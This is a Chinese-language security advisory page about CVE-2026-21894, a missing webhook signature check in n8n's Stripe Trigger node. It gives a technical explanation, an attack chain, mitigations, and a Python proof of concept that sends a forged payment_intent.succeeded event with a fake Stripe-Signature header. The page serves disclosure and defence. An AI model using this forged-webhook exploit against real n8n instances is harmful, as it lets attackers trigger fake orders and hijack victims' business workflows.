IPBUF安全漏洞报告
English
CVE-2026-21894 CVSS 6.5 中危

CVE-2026-21894: n8n Stripe Trigger节点认证绕过漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-21894
漏洞类型
认证绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
n8n开源工作流自动化平台

相关标签

认证绕过n8nStripe TriggerWebhookCVE-2026-21894工作流自动化签名验证缺失

漏洞概述

n8n是一个开源的工作流自动化平台。在0.150.0到2.2.2版本中,Stripe Trigger节点存在严重的认证绕过漏洞。该漏洞允许未认证的远程攻击者通过发送伪造的Stripe webhook事件来触发受害者的工作流。Stripe Trigger节点在注册webhook端点时会创建并存储Stripe webhook签名密钥,但系统未能对传入的webhook请求进行签名验证。这导致任何知道webhook URL的HTTP客户端都可以伪装成Stripe服务器发送恶意事件。攻击者可以利用此漏洞伪造支付成功、订阅创建、订阅取消等Stripe事件,进而影响依赖这些事件的下游工作流行为。例如,攻击者可能伪造支付成功事件来触发虚假订单处理流程,或伪造订阅取消事件来破坏正常的订阅管理流程。虽然webhook URL包含高熵UUID提供了一定的保护,但拥有工作流访问权限的认证用户可以查看完整的webhook URL,从而增加了漏洞的实际利用风险。

技术细节

该漏洞的根本原因在于n8n的Stripe Trigger节点在处理传入的webhook请求时缺少签名验证机制。具体来说:

1. **签名密钥存储**:当用户在n8n中配置Stripe Trigger节点并注册webhook端点时,Stripe会生成一个唯一的webhook签名密钥(signing secret),n8n会将此密钥存储在数据库中。

2. **验证缺失**:Stripe webhook的标准安全机制要求接收方使用存储的签名密钥验证请求头中的Stripe-Signature字段,以确保请求确实来自Stripe服务器且未被篡改。然而,n8n的Stripe Trigger节点在0.150.0到2.2.2版本中并未实现这一验证步骤。

3. **利用方式**:攻击者获取目标webhook URL后(可通过有权限的用户访问工作流配置获取),可以直接构造POST请求到该URL,请求体包含伪造的Stripe事件JSON数据(如payment_intent.succeeded事件),请求头可任意设置。由于缺少签名验证,n8n会将此伪造请求视为来自Stripe的合法webhook并触发相应的工作流执行。

4. **影响范围**:任何使用Stripe Trigger节点且版本在受影响范围内的n8n实例都存在此漏洞。攻击者可以触发工作流中的任意操作,包括数据处理、外部API调用、数据库操作等。

攻击链分析

STEP 1
1
攻击者获取目标n8n实例的Stripe Trigger webhook URL(通过有权限的用户或日志泄露等方式)
STEP 2
2
攻击者构造伪造的Stripe webhook事件JSON数据,包含触发工作流所需的事件类型(如payment_intent.succeeded)
STEP 3
3
攻击者发送POST请求到目标webhook URL,请求头中包含伪造的Stripe-Signature字段
STEP 4
4
n8n的Stripe Trigger节点接收请求后,由于缺少签名验证逻辑,直接将伪造事件传递给工作流执行
STEP 5
5
工作流按照预设逻辑执行攻击者指定的操作(如处理订单、调用外部API等),造成业务逻辑被恶意控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json import uuid # CVE-2026-21894 PoC - n8n Stripe Trigger Authentication Bypass # This PoC demonstrates how an attacker can forge Stripe webhook events TARGET_WEBHOOK_URL = "https://n8n-instance.com/webhook/STRIPE_WEBHOOK_ID" # Forge a fake Stripe webhook event fake_stripe_event = { "id": str(uuid.uuid4()), "object": "event", "type": "payment_intent.succeeded", "created": 1704700000, "livemode": False, "data": { "object": { "id": "pi_" + str(uuid.uuid4()).replace("-", ""), "object": "payment_intent", "amount": 2000, "currency": "usd", "status": "succeeded", "metadata": { "order_id": "ATTACKER_CONTROLLED" } } } } # Forge Stripe-Signature header (not validated by vulnerable versions) # In real Stripe webhooks, this should be a valid HMAC signature fake_signature = "t=1704700000,v1=fake_signature_here,v0=another_fake" def exploit(): """ Exploit function to trigger n8n workflow via forged Stripe webhook """ headers = { "Content-Type": "application/json", "Stripe-Signature": fake_signature, "User-Agent": "Stripe/1.0" } try: response = requests.post( TARGET_WEBHOOK_URL, data=json.dumps(fake_stripe_event), headers=headers, timeout=10, verify=False ) print(f"[*] Request sent to {TARGET_WEBHOOK_URL}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") if response.status_code == 200: print("[+] Workflow triggered successfully - vulnerability confirmed!") else: print("[-] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2026-21894: n8n Stripe Trigger Auth Bypass PoC") print("=" * 60) exploit()

影响范围

n8n 0.150.0 至 2.2.2之前的所有版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1) 立即停用所有使用Stripe Trigger节点的工作流;2) 限制对包含Stripe Trigger节点的工作流的访问权限,仅允许可信用户访问;3) 监控n8n实例的webhook访问日志,排查异常的POST请求;4) 考虑在负载均衡或WAF层面添加基于IP的访问控制策略。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表